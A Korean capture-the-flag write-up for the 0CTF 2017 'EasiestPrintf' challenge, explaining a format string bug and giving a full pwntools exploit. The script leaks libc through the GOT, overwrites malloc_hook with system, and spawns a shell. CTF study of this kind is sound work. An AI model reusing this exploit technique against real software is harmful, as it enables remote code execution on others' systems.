CTF/2017
[0CTF EasiestPrintf] write up
powerprove
2017. 6. 30. 18:55
포맷 스트링 버그 문제이다.
codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.
근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다
때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | # !/usr/bin/env python # powerprove from pwn import * host = "localhost" port = 4000 context.clear(arch = 'i386') s = remote(host, port) raw_input("0CTF") def leak(): printf_got = 0x8049FC8 s.recvuntil("read:\n") s.sendline(str(printf_got)) printf_addr = int(s.recv(10), 16) return printf_addr if __name__ == "__main__": printf_addr = leak() libc_base = printf_addr - 0x49670 malloc_hook = libc_base + 0x1b2768 system_addr = libc_base + 0x3ada0 data = 0x804A020 #data = libc_base + 0x15b9ab log.info("printf_addr : " + hex(printf_addr)) log.info("libc_base : " + hex(libc_base)) log.info("malloc_hook : " + hex(malloc_hook)) log.info("system_addr : " + hex(system_addr)) #data: 0x68730000} s.recv() payload = fmtstr_payload(7, {data: 0x00006873, malloc_hook: system_addr}) payload += "%" + str(data-32) + "c" s.sendline(payload) s.interactive() | cs |